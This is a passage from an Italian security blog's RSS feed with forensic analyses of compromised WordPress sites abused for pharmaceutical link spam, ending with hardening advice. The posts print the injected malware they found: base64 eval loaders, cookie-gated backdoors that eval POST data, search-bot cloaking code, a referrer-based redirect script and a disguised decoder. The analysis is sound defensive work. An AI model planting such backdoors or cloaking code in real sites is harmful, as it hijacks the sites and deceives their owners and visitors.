<p>C&#8217;è un altro aspetto, molto più inquietante. Se chi ha violato il sito, forte del fatto che il proprietario non si accorge di nulla e non pone rimedio, decide di &#8220;vendere&#8221; il sito già scardinato a qualcun altro, le cose potrebbero farsi molto più interessanti. A quel punto, niente potrebbe fermare uno spammer dallo spedire messaggi a tutto il mondo, o archiviare software pirata sul server, o ospitare una raccolta di immagini tali da essere illegali in tutto il mondo o quasi. Oppure usare il sito per ospitare applicazioni trappola, da usare per attacchi di <a href="http://it.wikipedia.org/wiki/Phishing">phishing</a>, o per diffondere malware in grado di costruire una <a href="http://it.wikipedia.org/wiki/Botnet">botnet</a>. Insomma, solo la fantasia limita le possibilità di fare birbonate. </p>
<p>Nei siti violati che ho personalmente esaminato le tecniche utilizzate mettono ragionevolmente al sicuro il responsabile dell&#8217;attacco con l&#8217;uso di metodi tesi a lasciare pochissime tracce, quali ad esempio eseguire comandi passati attraverso un form, metodo che nasconde i comandi eseguiti, anche ai log del server su cui il sito è ospitato. Quello che appare all&#8217;esterno è che un sito attaccato attraverso il nostro riporta nei log del proprio server tutte le indicazioni che l&#8217;attacco è venuto dal nostro sito, mentre nel server che ospita il nostro sito non c&#8217;è quasi nulla. Il risultato è che sta di nuovo a noi dimostrare che l&#8217;attacco non è condotto da noi.</p>
<p>Il pensare che si è poco importanti per essere attaccati è una pia illusione: in questo tipo di attacchi quello che si cerca non è il sito importante e &#8220;visibile&#8221;, ma semplicemente un sito pulito da sfruttare, un po&#8217; come quando viene rubata una utilitaria per commettere un furto, e si sceglie il modello più comune col colore più diffuso. In questo caso meno il sito è noto, e visitato, meglio è. Unica eccezione è quando lo scopo è di fare link spam, dove serve un sito ben piazzato nei motori di ricerca per rendere più visibili i link abusivi nelle pagine dei risultati di ricerca. </p>
<p>Concludendo, il messaggio è che se da un lato è semplice ed alla portata di tutti fare il proprio sito web, non è altrettanto semplice e privo di rischi trovarsi a fronteggiare quello che in gergo si chiama incidente di sicurezza. La gestione di una simile eventualità deve essere tempestiva ed efficace, senza trascurare la possibilità che chi ha violato il nostro sito sia già riuscito a commettere qualche crimine sfruttando la situazione. </p>
<p>Paura? Bene, vuol dire che qualcosa è giunto a destinazione. </p>
]]></content:encoded>
			<wfw:commentRss>http://www.ismprofessional.net/pascucci/index.php/2008/05/essere-webmaster-responsabili/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Spam con WordPress: sempre più sofisticato</title>
		<link>http://www.ismprofessional.net/pascucci/index.php/2008/05/spam-con-wordpress-sempre-piu-sofisticato/</link>
		<comments>http://www.ismprofessional.net/pascucci/index.php/2008/05/spam-con-wordpress-sempre-piu-sofisticato/#comments</comments>
		<pubDate>Fri, 16 May 2008 14:34:24 +0000</pubDate>
		<dc:creator>Mario Pascucci</dc:creator>
				<category><![CDATA[Computer Forensics]]></category>
		<category><![CDATA[Information security]]></category>
		<category><![CDATA[Wordpress]]></category>
		<category><![CDATA[spam]]></category>
		<category><![CDATA[website intrusion]]></category>

		<guid isPermaLink="false">http://www.ismprofessional.net/pascucci/?p=212</guid>
		<description><![CDATA[Continua la serie con l&#8217;indagine su vari blog compromessi, le puntate precedenti sono: WordPress + Pagerank + Spammer = PANIC! Attention: your WordPress blog may be compromised. (in inglese) Spam con WordPress: esempi di codice iniettato Spam con WordPress: primi dettagli su un sito compromesso Spam con WordPress: altri esempi di codice iniettato Ho ancora [...]]]></description>
			<content:encoded><![CDATA[<p>Continua la serie con l&#8217;indagine su vari blog compromessi, le puntate precedenti sono:</p>
<ul>
<li><a href="http://www.ismprofessional.net/pascucci/index.php/2008/04/wordpress-pagerank-spammer-panic/">WordPress + Pagerank + Spammer = PANIC!</a></li>
<li><a href="http://www.ismprofessional.net/pascucci/index.php/2008/04/wordpress-blog-compromised/">Attention: your WordPress blog may be compromised.</a> (in inglese)</li>
<li><a href="http://www.ismprofessional.net/pascucci/index.php/2008/04/spam-con-wordpress-esempi-di-codice-iniettato/">Spam con WordPress: esempi di codice iniettato</a></li>
<li><a href="http://www.ismprofessional.net/pascucci/index.php/2008/04/spam-con-wordpress-primi-dettagli-su-un-sito-compromesso/">Spam con WordPress: primi dettagli su un sito compromesso</a></li>
<li><a href="http://www.ismprofessional.net/pascucci/index.php/2008/04/spam-con-wordpress-altri-esempi-di-codice-iniettato/">Spam con WordPress: altri esempi di codice iniettato</a></li>
</ul>
<p>Ho ancora altri due siti da analizzare. Quello che è ormai chiaro è l&#8217;estensione dell&#8217;infezione, siamo a centinaia di siti sicuramente colpiti. La notizia buona, si fa per dire, è che la maggior parte dei blog violati sono abbandonati a se stessi da mesi o anni. Ma è una buona notizia a metà. </p>
<p>Fino ad ora chi ha violato questi siti si è limitato, se di limite si può parlare, ad usarli per fare pubblicità a farmacie online, suonerie per cellulari, società di rifinanziamento e simili. Insomma, roba solita dello spam. Nessuno vieta però di pensare ad altri usi, molto meno &#8220;amichevoli&#8221; sia verso il proprietario del sito che verso gli eventuali visitatori. </p>
<p>E le prime avvisaglie non tardano ad arrivare. Il codice usato è in continua evoluzione ed in decine di varianti diverse, come differente è il tipo di attacco. Uno dei siti analizzati non ha nessuna modifica ai file di WordPress, ma il proprietario ha installato un tema e lo ha personalizzato. Nel file <tt>header.php</tt> l&#8217;attaccante è riuscito ad infilare queste due righe di codice:</p>
<pre><code>
eval(base64_decode('JGZsbj0nd3AtY29udGVudC90aGVtZXMvdGlnYS9qcy5waHAnO2lmKGZpbGVfZXhpc3RzKCRmbG4pKXtpbmNsdWRlX29uY2UoJGZsbik7fQ=='));
...
eval(base64_decode('aWYoZnVuY3Rpb25fZXhpc3RzKCdnbWwnKSl7ZWNobyBnbWwoKTt9'));

</code></pre>
<p>con il solito schema di offuscamento del codice. Il codice PHP reale è:</p>
<pre><code>
$fln='wp-content/themes/tiga/js.php';if(file_exists($fln)){include_once($fln);}
...
if(function_exists('gml')){echo gml();}

</code></pre>
<p>Lo scopo è sempre lo stesso: se esiste un certo file lo include, e poco dopo chiama una funzione definita nel file incluso. Il lavoro della funzione è quello di controllare lo user agent di chiunque visita il sito e se risulta lo spider di un motore di ricerca infarcisce la pagina di spam link.</p>
<p>In un caso ho potuto guardare anche dentro il database del blog compromesso, e c&#8217;è una sorpresa anche lì. Uno dei record della tabella <tt>wp_options</tt>, ha come nome <tt>wordpress_options</tt>. Questa specifica opzione ha assegnato un valore di oltre 16kbyte, che inizia così:</p>
<pre><code>; ))"=szJ14iMnASPg4</code></pre>
<p>e finisce così:</p>
<pre><code>Iw1Gdi0DdjFGJ"(edoced_46esab(lave</code></pre>
<p>Privo di senso, a prima vista. A colpo d&#8217;occhio, i 16kbyte di caratteri sembrano una classica codifica <strong>base64</strong>, ma passati così come sono al decoder restituiscono un errore. La parte terminale è un indizio importante: leggendola al contrario è:</p>
<pre><code>eval(base64_decode("....</code></pre>
<p>Un breve script shell, invertita la stringa viene restituito un codice PHP esattamente identico a quello del file  incluso in <tt>header.php</tt> del tema. </p>
<p>L&#8217;attaccante, in questo caso specifico, ha cambiato la data di tutti i file del sito sul server ad una data e ora unica, certamente non corrispondente a nessuna data utile. Quindi niente linea temporale: non possiamo sapere facilmente quali file siano stati modificati e quando, semplicemente guardando la data. Inoltre non abbiamo un momento preciso in cui andare a guardare nei log del web server. </p>
<p>Una curiosità: in fondo a questo file incluso viene ridefinita la variabile globale <tt>$wp_version</tt> che contiene la versione ufficiale di WordPress installata. Il valore assegnato è <tt>2.5</tt>. Se magicamente vi trovate il blog aggiornato a WordPress 2.5 <em>e non ricordate di averlo fatto</em> è molto probabile che il blog non vi appartenga più.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.ismprofessional.net/pascucci/index.php/2008/05/spam-con-wordpress-sempre-piu-sofisticato/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Spam con WordPress: altri esempi di codice iniettato</title>
		<link>http://www.ismprofessional.net/pascucci/index.php/2008/04/spam-con-wordpress-altri-esempi-di-codice-iniettato/</link>
		<comments>http://www.ismprofessional.net/pascucci/index.php/2008/04/spam-con-wordpress-altri-esempi-di-codice-iniettato/#comments</comments>
		<pubDate>Mon, 28 Apr 2008 12:50:47 +0000</pubDate>
		<dc:creator>Mario Pascucci</dc:creator>
				<category><![CDATA[Computer Forensics]]></category>
		<category><![CDATA[Information security]]></category>
		<category><![CDATA[Wordpress]]></category>
		<category><![CDATA[code analysis]]></category>
		<category><![CDATA[spam]]></category>
		<category><![CDATA[website intrusion]]></category>

		<guid isPermaLink="false">http://www.ismprofessional.net/pascucci/index.php/2008/04/spam-con-wordpress-altri-esempi-di-codice-iniettato/</guid>
		<description><![CDATA[Ho ricevuto altri due tarball di siti web compromessi. Entrambi hanno lo stesso schema di intrusione. Li sto ancora analizzando, e stavolta il cracker è più furbo dei precedenti. Il codice è iniettato su parecchie pagine, subito dopo la sequenza di escape del PHP, in questo modo (tratto dal file wp-admin/index.php): &#60;?php if(md5($_COOKIE['_wp_debugger'])=="788d0899a96f367ef0b93356bc87c28a") { eval(base64_decode($_POST['file'])); [...]]]></description>
			<content:encoded><![CDATA[<p>Ho ricevuto altri due <em>tarball</em> di siti web compromessi. </p>
<p>Entrambi hanno lo stesso schema di intrusione. Li sto ancora analizzando, e stavolta il cracker è più furbo <a href="http://www.ismprofessional.net/pascucci/index.php/2008/04/wordpress-pagerank-spammer-panic/">dei</a> <a href="http://www.ismprofessional.net/pascucci/index.php/2008/04/spam-con-wordpress-primi-dettagli-su-un-sito-compromesso/">precedenti</a>. Il codice è iniettato su parecchie pagine, subito dopo la sequenza di <em>escape</em> del PHP, in questo modo (tratto dal file <tt>wp-admin/index.php</tt>):</p>
<pre><code>
&lt;?<strong>php</strong>
  <strong>if</strong>(md5($_COOKIE['_wp_debugger'])=="788d0899a96f367ef0b93356bc87c28a") {
    eval(base64_decode($_POST['file']));
    <strong>exit</strong>;
  }
?&gt;
&lt;?<strong>php</strong>
  <strong>if</strong>($_GET['4bb9dfc9087f6880']=="3af2f3a320b6d01a") {
    eval(base64_decode($_POST['file']));
    <strong>exit</strong>;
  }
?&gt;

</code></pre>
<p>Il primo <strong>if</strong> sembra essere una forma di identificazione: se nel browser del visitatore è presente un certo cookie viene eseguito del codice, risultante dalla funzione <strong>eval</strong> applicata sul contenuto della richiesta <strong>POST</strong>. Il secondo assomiglia al primo, solo che viene controllata la presenza ed il valore di una variabile di tipo <em>urlencoded</em>. Questo sito è stato compromesso <strong>più volte</strong>, almeno due, con versioni successive installate forse da due cracker differenti.</p>
<p>La parte più &#8220;gustosa&#8221;, si fa per dire, è quella del rilevamento dello user agent e della &#8220;farcitura&#8221; della home page di link spam (tratto dal file <tt>wp-includes/default-filters.php</tt>):</p>
<pre><code>
add_action('wp_footer','wpc7c16b8466d864eeefd20050625c7775');
<strong>function</strong> wpc7c16b8466d864eeefd20050625c7775() {
  $seau=array("google","yahoo","slurp","msn","live","ask","altavista","aol");
  $sebot="";
  <strong>foreach</strong>($seau <strong>as</strong> $ua)
    <strong>if</strong>(strpos(strtolower($_SERVER['HTTP_USER_AGENT']),$ua)!==false){ $sebot="1"; <strong>break</strong>; }
  <strong>if</strong>(!($sebot==1 &#038;&#038; sizeof($_COOKIE)==0)) <strong>return</strong>;
  @include('./wp-includes/class-mail.php');
  <strong>if</strong>(sizeof($wparr)>0){
    echo "&lt;div id=\"_wp_footer\"&gt;";
    <strong>foreach</strong>($wparr <strong>as</strong> $k=>$v){
      echo "&lt;a href=\"".$v['url']."\" title=\"".ucwords($v['key'])."\"&gt;".ucwords($v['key'])."&lt;/a&gt;\n";
      <strong>if</strong>($i++==$inum) <strong>break</strong>;
    }
    echo "&lt;/div&gt;".$_footer;
  }
}

</code></pre>
<p>Notare la lista delle stringhe per lo user agent, alla variabile <tt>$seau</tt>.<br />
Questo tipo è quello che usa il tag &lt;div&gt; con ID pari a &#8220;_wp-footer&#8221;, visto <a href="http://www.ismprofessional.net/pascucci/index.php/2008/04/spam-con-wordpress-esempi-di-codice-iniettato/">qui</a>. </p>
<p>Nell&#8217;albero delle directory dell&#8217;installazione di WordPress compromessa vi sono alcuni file estranei, riconoscibili per via dell&#8217;ultima lettera dell&#8217;estensione del nome duplicata: <tt>en_new.php.jpgg</tt>, <tt>mcwindows.php.giff</tt>, <tt>Downloads_old.php.jpgg</tt>. </p>
<p>Il contenuto, come è facile immaginare, è completamente differente da quello che l&#8217;estensione sembra suggerire: sono script PHP che iniziano in questo modo:</p>
<pre><code>
&lt;?<strong>php</strong>
  <strong>if</strong>(md5($_COOKIE['qwerty'])=="bed5666cccb90054bec0058e9f28d91c"){
    clearstatcache();
    set_magic_quotes_runtime(0);
    <strong>if</strong>(!function_exists('ini_set')){
      function ini_set(){
        <strong>return</strong> FALSE;
      }
   }
...

</code></pre>
<p>La prima riga è proprio una autenticazione, il resto del file contiene varie funzioni, le più interessanti sono una che tenta la modifica di alcune variabili di funzionamento dell&#8217;interprete PHP, per la precisione <tt>max_execution_time</tt> e <tt>output_buffering</tt>, ed una che controlla l&#8217;impostazione del &#8220;safe mode&#8221;. Segue una rudimentale shell via web che permette di creare directory, modificare file, rimuovere file o directory, fare l&#8217;upload di file, eseguire comandi via shell. Ed ancora, una funzione che scandisce l&#8217;albero di directory a partire da un punto e cerca file e directory modificabili con l&#8217;utente con cui viene eseguita la shell, ossia il web server. Ultima finezza, una funzione che permette di aprire e modificare un file e <em>rimette data ed ora di ultima modifica a quella precedente le modifiche</em>, come se il file non fosse mai stato toccato. </p>
<p>Insomma, il kit del provetto cracker. </p>
<p>Devo dire che c&#8217;è da imparare da questa gente. Alcune tecniche di programmazione sono realmente istruttive. C&#8217;è una funzione che cerca, fra le varie disponibili nelle tante versioni rilasciate di PHP, quella esistente nell&#8217;installazione in cui viene messa in esecuzione, a scelta fra: <code>exec</code>, <code>shell_exec</code>, <code>system</code> e <code>passthru</code>.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.ismprofessional.net/pascucci/index.php/2008/04/spam-con-wordpress-altri-esempi-di-codice-iniettato/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Spam con WordPress: primi dettagli su un sito compromesso</title>
		<link>http://www.ismprofessional.net/pascucci/index.php/2008/04/spam-con-wordpress-primi-dettagli-su-un-sito-compromesso/</link>
		<comments>http://www.ismprofessional.net/pascucci/index.php/2008/04/spam-con-wordpress-primi-dettagli-su-un-sito-compromesso/#comments</comments>
		<pubDate>Thu, 24 Apr 2008 14:38:22 +0000</pubDate>
		<dc:creator>Mario Pascucci</dc:creator>
				<category><![CDATA[Computer Forensics]]></category>
		<category><![CDATA[Information security]]></category>
		<category><![CDATA[Wordpress]]></category>
		<category><![CDATA[code analysis]]></category>
		<category><![CDATA[spam]]></category>
		<category><![CDATA[website intrusion]]></category>

		<guid isPermaLink="false">http://www.ismprofessional.net/pascucci/index.php/2008/04/spam-con-wordpress-primi-dettagli-su-un-sito-compromesso/</guid>
		<description><![CDATA[Grazie alla competenza ed alla estrema gentilezza di un webmaster, ho potuto analizzare il codice di uno dei siti compromessi negli ultimi tempi. L&#8217;attacco è stato compiuto sfruttando una delle vulnerabilità note delle versioni 2.0.x di WordPress, ed il risultato è stato di iniettare file PHP sia nella directory del tema Classic che in una [...]]]></description>
			<content:encoded><![CDATA[<p>Grazie alla competenza ed alla estrema gentilezza di un webmaster, ho potuto analizzare il codice di uno dei siti compromessi negli ultimi tempi. </p>
<p>L&#8217;attacco è stato compiuto sfruttando una delle vulnerabilità note delle versioni 2.0.x di WordPress, ed il risultato è stato di iniettare file PHP sia nella directory del tema Classic che in una delle directory accessorie dell&#8217;editor TinyMCE. Tramite questi due file l&#8217;attaccante è poi riuscito ad iniettare due singole righe di istruzioni in PHP all&#8217;interno del file <code>wp-includes/function.php</code> che iniziano così:</p>
<pre><code>
eval(base64_decode(.....

</code></pre>
<p>e contengono una lunga stringa di caratteri alfanumerici, in codifica <a href="http://it.wikipedia.org/wiki/Base64">Base64</a>. La prima equivale a:</p>
<pre><code>
if(!$GLOBALS['dhhag']){if(have_posts()){$GLOBALS['dhhag'] = 1;if(function_exists('gml')){echo gml();}}}

</code></pre>
<p>ed è iniettata dentro la funzione <code>mysql2date</code></p>
<p>La seconda è iniettata fra le funzioni <code>is_archive</code> e <code>is_date</code>: controlla se esiste il file dentro le directory di TinyMCE e lo include. </p>
<p>Lo stile di scrittura è tipico del codice offuscato, ossia un sorgente sintatticamente corretto, ma umanamente difficile da leggere, proprio di tool usati o scritti da cracker o hacker <a href="http://it.wikipedia.org/wiki/Black_hat">blackhat</a>. </p>
<p>In sostanza il file dentro TinyMCE viene richiamato sia da WordPress durante il suo funzionamento, sia esternamente dall&#8217;attaccante. Esaminando brevemente il codice, si evince che contiene funzioni per:</p>
<ul>
<li>Iniettare le due righe dette poco sopra nel file <code>wp-includes/function.php</code></li>
<li>scaricare nuove versioni di se stesso</li>
<li>scaricare dati di lavoro dal server</li>
<li>analizzare lo user agent dei visitatori e reagire alla presenza di determinate stringhe: google, msn, slurp</li>
<li>riportare la propria attività su richiesta</li>
</ul>
<p>E&#8217; un tool automatizzato scritto appositamente, e fatto per lavorare in parallelo su un gran numero di siti compromessi. Una volta che l&#8217;attaccante lo ha iniettato nel sito vittima, lo attiva semplicemente richiamandolo tramite URL. Il risultato è un form con le opzioni da inserire, segue poi una chiamata ad un differente URL per attivarlo. Qui sotto un esempio del form.</p>
<p><a href='http://www.ismprofessional.net/pascucci/wp-content/uploads/20080424-wp-spam.png' title='Il form di setup del malware'><img src='http://www.ismprofessional.net/pascucci/wp-content/uploads/20080424-wp-spam.thumbnail.png' alt='Il form di setup del malware' /></a></p>
<p>I due siti cinesi che vedete nell&#8217;immagine del form sono quelli usati dal malware iniettato per ottenere i dati di lavoro. </p>
<p>Nella stessa directory ci sono i file di lavoro, con nomi che sono sequenza di 32 cifre esadecimali. Il contenuto è facilmente immaginabile: tipici messaggi spam con link ad altri siti, tutti blog già compromessi. E&#8217; assai probabile che anche in questi siti si troverà il comportamento di redirect <a href="http://www.ismprofessional.net/pascucci/index.php/2008/04/wordpress-pagerank-spammer-panic/">visto in precedenza</a>. </p>
<p>Sono centinaia di link, ed ogni sito a cui puntano ne contiene di nuovi. E&#8217; umanamente impossibile pensare di avvertirli tutti, ma ci sto provando.</p>
<p>Rispetto alle altre di cui ho parlato, questa è una differente variante. Non pare iniettare cose nel database e non effettua il redirect. In uno dei siti compromessi ho trovato una ulteriore variante della DIV farcita di link a beneficio del GoogleBot: questa non ha né un ID, né stile display, né Javascript che inietta lo stile in base all&#8217;ID. Qui la questione è molto più semplice: c&#8217;è una istruzione di stile come questa:</p>
<pre><code>
&lt;div style="position:absolute;left:-17453px;top:-17453px"&gt;

</code></pre>
<p>Risultato: il contenuto della DIV è invisibile perché piazzata fuori dalla finestra del browser. E&#8217; meno individuabile perché sia &#8220;display:none&#8221; che &#8220;id=goro&#8221; sono stringhe inusuali, e facilmente rintracciabili con un motore di ricerca, mentre &#8220;position:absolute&#8221; è infinitamente più comune. </p>
<h4>Le ragioni per cui l&#8217;attacco ha avuto successo</h4>
<p>Nell&#8217;installazione vi erano alcune debolezze, che hanno reso la vita relativamente facile all&#8217;attaccante. Vediamo le principali:</p>
<ul>
<li>La versione di WordPress era la 2.0.3, vulnerabile a parecchi tipi di attacco, compreso uno che consente di accedere al database tramite la funzione di <em>trackback</em>. Esistono anche dei <a href="http://it.wikipedia.org/wiki/Proof_of_concept">Proof of Concept</a> sull&#8217;argomento.</li>
<li>Tutti i file di WordPress erano modificabili dall&#8217;account con cui viene eseguito il web server, in questo caso Apache. Questo ha permesso all&#8217;attaccante di inserire file in directory normalmente non modificabili, di modificare file di WordPress e quindi di iniettare il proprio codice nei punti vitali dell&#8217;applicazione.</li>
<li>Tutti i file di WordPress appartenevano allo stesso account di Apache. Purtroppo questa è una pratica comune di molti servizi di hosting. E&#8217; parente stretto del problema nel punto precedente, ma più grave: in questo modo anche se andiamo a togliere i permessi di scrittura per tutti ai file, il proprietario, ossia Apache, potrà renderli di nuovo scrivibili. Non dimentichiamoci che gli script PHP agiscono con lo stesso account e quindi gli stessi diritti del web server in cui è eseguito, in questo caso sempre Apache.</li>
</ul>
<p>Per evitare di cadere vittima di questo tipo di attacchi, oltre a tenere aggiornato WordPress, occorre fare un lavoro di <em>hardening</em> sull&#8217;installazione nel web server. La regola base è che Apache, o quello che sia, deve essere eseguito con un account differente da quello a cui appartengono i file del sito. In questo modo si può controllare meglio il comportamento del codice PHP, ed impedirgli di automodificarsi, cosa tipica delle iniezioni di codice da parte di malware. </p>
<p>Altra cosa è di assegnare poi i permessi di scrittura solo e soltanto dove serve. Una buona guida è <a href="http://codex.wordpress.org/Changing_File_Permissions">qui</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.ismprofessional.net/pascucci/index.php/2008/04/spam-con-wordpress-primi-dettagli-su-un-sito-compromesso/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Spam con WordPress: esempi di codice iniettato</title>
		<link>http://www.ismprofessional.net/pascucci/index.php/2008/04/spam-con-wordpress-esempi-di-codice-iniettato/</link>
		<comments>http://www.ismprofessional.net/pascucci/index.php/2008/04/spam-con-wordpress-esempi-di-codice-iniettato/#comments</comments>
		<pubDate>Tue, 22 Apr 2008 13:28:25 +0000</pubDate>
		<dc:creator>Mario Pascucci</dc:creator>
				<category><![CDATA[Computer Forensics]]></category>
		<category><![CDATA[Information security]]></category>
		<category><![CDATA[Software]]></category>
		<category><![CDATA[Wordpress]]></category>
		<category><![CDATA[code analysis]]></category>
		<category><![CDATA[spam]]></category>
		<category><![CDATA[website intrusion]]></category>

		<guid isPermaLink="false">http://www.ismprofessional.net/pascucci/index.php/2008/04/spam-con-wordpress-esempi-di-codice-iniettato/</guid>
		<description><![CDATA[Indagando sul recente sfruttamento di blog basati su WordPress per carpirne il pagerank, al fine di vendere farmaci online, mi sono imbattuto in parecchi esempi di codice Javascript iniettato. Ne riporto quancuno, con l&#8217;analisi, al fine di mostrare cosa sia possibile fare anche solo con Javascript. Partiamo dal primo esempio. Il codice era inserito in [...]]]></description>
			<content:encoded><![CDATA[<p>Indagando sul recente sfruttamento di blog basati su WordPress per carpirne il pagerank, al fine di vendere farmaci online, mi sono imbattuto in parecchi esempi di codice Javascript iniettato. Ne riporto quancuno, con l&#8217;analisi, al fine di mostrare cosa sia possibile fare anche solo con Javascript.</p>
<p>Partiamo dal primo esempio. Il codice era inserito in cima alla homepage di un blog:</p>
<pre><code>
&lt;<strong>script</strong> <strong>language</strong>="JavaScript"&gt;
  <strong>var</strong> r=<strong>document</strong>.referrer,t="&rdquo;,q;
  <strong>if</strong> (r.indexOf("google.") != -1) t = "q";
  <strong>if</strong> (r.indexOf("msn.") != -1) t = "q";
  <strong>if</strong> (r.indexOf("live.") != -1) t = "q";
  <strong>if</strong> (r.indexOf("yahoo.") != -1) t = "p";
  <strong>if</strong> (r.indexOf("altavista.") != -1) t = "q";
  <strong>if</strong> (r.indexOf("aol.") != -1) t = "query";
  <strong>if</strong> (r.indexOf("ask.") != -1) t = "q";
  <strong>if</strong> (<strong>document</strong>.cookie.length==0 &amp;&amp; t.length &amp;&amp;
      (<strong>document</strong>.URL.indexOf("?certified=") != -1 ||
      <strong>document</strong>.URL.indexOf("?google-approved=") != -1) &amp;&amp;
      ((q=r.indexOf("?"+t+"=")) != -1 ||
      (q=r.indexOf("&amp;"+t+"=")) != -1))
      {
	<strong>window.location</strong>="http://sito.farmaci/pharma/search.php?q=" +
	  r.substring(q+2+t.length).split("&amp;")[0];
      }
&lt;/<strong>script</strong>&gt;

</code></pre>
<p>La funzione dello script può essere riassunta in questo modo:</p>
<ol>
<li>Viene esaminato il <em>referer</em>: se è un motore di ricerca fra Google MSN, Live, Yahoo, Altavista, AOL o Ask, viene assegnata alla variabile <strong>t</strong> la stringa che identifica la query</li>
<li>La sequenza di condizioni nell&#8217;ultimo statement <strong>if</strong> suona più o meno così:
<ul>
<li>se non ci sono cookie appartenenti al sito</li>
<li>se la variabile <strong>t</strong> non è vuota</li>
<li>l&#8217;url richiesto contiene <strong>?certified=</strong> o <strong>?google-approved=</strong></li>
<li>vi è la sequenza di termini di ricerca nell&#8217;url del referer</li>
</ul>
<p>ossia, in breve, se l&#8217;url del referer è più o meno così: <code>http://motorediricerca/search?hl=it&#038;q=parole+chiave</code> e l&#8217;url cercato è più o meno così: <code>http://blog.violato/?certified=222</code> il browser viene rediretto a <code>http://sito.farmaci/pharma/search.php?q=parole+chiave</code></li>
</ol>
<p>Il redirect quindi non si attiva se un visitatore arriva da un altro sito qualsiasi, né se ha già visitato il sito in precedenza. Non si attiva neppure se la stringa di query manca o è incompleta nell&#8217;url del referer, determinando così un meccanismo di occultamento a danno sia del proprietario del sito che dei suoi amici e visitatori abituali.</p>
<p>Vediamo ora un secondo esempio. </p>
<p>Questo è presente sempre in alcuni dei blog compromessi. Il codice malevolo reagisce allo user agent: se è lo spider di un motore di ricerca noto, la pagina principale viene riempita di link a beneficio dello spider. Per maggiore sicurezza, i link sono all&#8217;interno di un &lt;div&gt; che ha ID uguale a <code>_wp-footer</code>. Notare che il tag non ha attributi di stile, e che l&#8217;ID assomiglia ad uno comunemente usato in WordPress, ma c&#8217;è un segno di <em>underscore</em> all&#8217;inizio. Ecco il codice Javascript associato:</p>
<pre><code>
&lt;<strong>div</strong> <strong>id</strong>="_wp_footer"&gt;
...lunga sequenza di link con nomi di farmaci noti...
&lt;/<strong>div</strong>&gt;
&lt;<strong>script type</strong>="text/javascript"&gt;&lt;!--
  google_ad_client = "pub-7652328300112263";
  google_ad_width = 728;
  google_ad_height = 15;
  google_ad_format = "728x15_0ads_al_s";
  google_ad_channel = "";
  <strong>function</strong> google_ads(str) {
    <strong>var</strong> idx = str.indexOf('?');
    <strong>if</strong> (idx == -1) <strong>return</strong> str;
    <strong>var</strong> len = str.length;
    <strong>var</strong> new_str = "&rdquo;;
    <strong>var</strong> i = 1;
    <strong>for</strong> (++idx; idx < len; idx += 2,i++) {
      <strong>var</strong> ch = parseInt(str.substr(idx, 2), 16);
      new_str += String.fromCharCode((ch + i) % 256);
    }
  eval(new_str);
  }
  google_ads("http://pagead2.googlesyndication.com/pagead/show_ads.js?636D6071685F676C255D5A68385E565D545C612E64334D100E455C544248504F53434F0304084C4C50423A02373B44403B2F4609ED3838362CE800");
  //--&gt;
&lt;/<strong>script</strong>&gt;

</code></pre>
<p>Ad una occhiata distratta sembra un normale segmento di script per Google AdSense, ma qualcosa non quadra. Il <strong>for</strong> contiene una semplice funzione di decodifica. Basta sostituire alla funzione <strong>eval</strong> vicino alla fine con <strong>alert</strong> o con <strong>document.write</strong>: il risultato lo vediamo in figura.</p>
<p><img src='http://www.ismprofessional.net/pascucci/wp-content/uploads/20080422-spam-wordpress.png' alt='Codice JS per occultare un blocco DIV' /></p>
<p>In stringa:</p>
<pre><code>
<strong>document</strong>.getElementById('_wp-footer').style.display="none";

</code></pre>
<p>La funzione di questo minuscolo pezzo di codice è di inserire lo stile <strong>display:none</strong> negli attributi del blocco <strong>div</strong> con ID <strong>_wp-footer</strong>, in breve di non visualizzarlo.<br />
In questo modo se qualcuno cerca nelle pagine qualcosa di nascosto tramite lo stile <strong>display:none</strong> non lo troverà mai. Si tratta di protezione per offuscamento del codice.</p>
<p>Questi ed altri indizi mostrano che il codice malevolo è in evoluzione: a partire dalla variante detta <a href="http://blog.kakkoi.net/wordpress/how-to-removed-wordpress-net-in-spam-injection-infected-by-mike-jagger-goro-class-mailphp/">Goro</a> <a href="http://www.pensierineccesso.it/2008/04/15/goro-spam-vulnerabilita-wordpress/">Spam</a>, dove lo stile era esplicito nella pagina, si è passati all&#8217;offuscamento proprio di quello stile ed all&#8217;uso di un ID con nome molto comune. Sta diventando sempre più difficile trovare siti compromessi, certo non per via dell&#8217;esaurirsi dell&#8217;attacco, piuttosto per la maggiore sofisticazione impiegata dall&#8217;attaccante. </p>
<p>Appena avrò maggiori dettagli pubblicherò altri articoli. Nel frattempo, massima attenzione alle homepage dei vostri blog. </p>
]]></content:encoded>
			<wfw:commentRss>http://www.ismprofessional.net/pascucci/index.php/2008/04/spam-con-wordpress-esempi-di-codice-iniettato/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>

